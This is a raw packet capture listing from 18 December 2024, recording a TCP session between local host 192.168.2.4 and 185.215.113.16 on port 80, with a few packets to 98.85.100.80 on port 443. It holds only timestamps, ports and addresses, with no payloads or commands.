Dec 18, 2024 17:08:33.961404085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.965471983 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.973546028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.973562002 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.973613977 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.979893923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.979901075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.979959965 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.985596895 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.985642910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.985651016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.985718012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.991652966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.991661072 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:33.991725922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:33.997433901 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.000427008 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.000446081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.000528097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.006294012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.006314039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.006382942 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.012137890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.012159109 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.012195110 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.012228012 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.012248039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.017923117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.017942905 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.018008947 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.023617983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.023632050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.023695946 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.030081987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.030091047 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.030144930 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.035221100 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.035229921 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.035285950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.040683985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.041306019 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.046446085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.049683094 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.051893950 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.051908016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.051950932 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.057518959 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.057526112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.057585001 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.063039064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.063055992 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.063133001 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.068758011 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.068773031 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.068820000 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.074517965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.074525118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.074573040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.079931974 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.079940081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.079951048 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.079994917 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.085896969 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.085921049 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.085974932 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.090493917 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.090512037 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.090568066 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.095582962 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.095599890 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.095653057 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.100759983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.100768089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.100836992 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.106023073 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.106029987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.106082916 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.111505985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.111521006 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.111526966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.111592054 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.116933107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.116939068 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.116986036 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.121608019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.124170065 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.124178886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.124239922 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.129630089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.129647017 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.129739046 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.134422064 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.134439945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.134444952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.134540081 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.140111923 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.140126944 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.140204906 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.145149946 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.145169973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.145229101 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.149629116 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.149635077 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.149688005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.155025005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.155033112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.155107021 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.159651995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.159678936 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.159754992 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.164577961 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.164589882 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.164644957 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.169584990 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.169599056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.169667959 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.174405098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.174412012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.174494028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.179279089 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.179286003 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.179296970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.179383039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.179383039 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.184221983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.184228897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.184288025 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.184425116 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:34.184519053 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:34.185276031 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:34.189115047 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.189122915 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.189193010 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.194195032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.194219112 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.194283962 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.198519945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.198527098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.198573112 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.203293085 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.203310013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.203391075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.208071947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.208096981 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.208153009 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.208187103 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.212764978 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.212779999 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.212795973 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.212836981 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.212888002 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.213207960 CET	49797	443	192.168.2.4	98.85.100.80
Dec 18, 2024 17:08:34.213217974 CET	443	49797	98.85.100.80	192.168.2.4
Dec 18, 2024 17:08:34.217451096 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.217458963 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.217510939 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.222261906 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.222368956 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.226825953 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.226840019 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.226972103 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.231399059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.231465101 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.233788013 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.233795881 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.233846903 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.238512039 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.238519907 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.238575935 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.242917061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.242924929 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.242937088 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.242988110 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.247446060 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.247452021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.247503042 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.251913071 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.251919985 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.253683090 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.256876945 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.256884098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.256939888 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.260874987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.260883093 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.260936022 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.265371084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.265378952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.265388966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.265444040 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.269768000 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.269776106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.269833088 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.274146080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.274209976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.274213076 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.274267912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.278563976 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.278588057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.278657913 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.283014059 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.283026934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.283032894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.283086061 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.287252903 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.287260056 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.287328005 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.291598082 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.291604996 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.291711092 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.295886993 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.295900106 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.295957088 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.300494909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.300503016 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.300563097 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.304879904 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.304893970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.304949999 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.308878899 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.308887005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.308902025 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.308949947 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.308974028 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.313121080 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.313127995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.313167095 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.317157984 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.317172050 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.317223072 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.317255020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.321350098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.321357965 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.321412086 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.325431108 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.325437069 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.325448036 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.325505972 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.329632044 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.329643011 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.329694986 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.333697081 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.333710909 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.333791971 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.337850094 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.337865114 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.337944984 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.341916084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.341928005 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.341988087 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.345966101 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.345972061 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.345983028 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.346031904 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.350043058 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.350076914 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.350145102 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.354012012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.355036020 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.356415033 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.356421947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.356487036 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.360232115 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.360240936 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.360363007 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.364676952 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.364696980 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.364703894 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.364743948 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.364767075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.368195057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.368204117 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.368256092 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.372189045 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.372196913 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.372267008 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.376075983 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.376082897 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.376128912 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.380304098 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.380311012 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.380322933 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.380367994 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.383974075 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.383981943 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.384037018 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.387819052 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.387825966 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.387893915 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.391769886 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.391782999 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.391846895 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.395787954 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.395795107 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.395854950 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.399701118 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.399714947 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.399719954 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.399774075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.399805069 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.403636932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.403647900 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.403709888 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.408026934 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.408035040 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.408102036 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.412324905 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.412343025 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.412404060 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.415667057 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.415673971 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.415735960 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.418999910 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.419020891 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.419136047 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.422919035 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.422924995 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.422935963 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.422990084 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.426564932 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.426572084 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.426631927 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.429893970 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.429900885 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.429963112 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.433495045 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.433501959 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.433558941 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.437664032 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.437711954 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.437766075 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.441776991 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.441849947 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.443803072 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.443833113 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.443845034 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.443869114 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.443898916 CET	49800	80	192.168.2.4	185.215.113.16
Dec 18, 2024 17:08:34.447391987 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.447417021 CET	80	49800	185.215.113.16	192.168.2.4
Dec 18, 2024 17:08:34.447489977 CET	49800	80	192.168.2.4	185.215.113.16
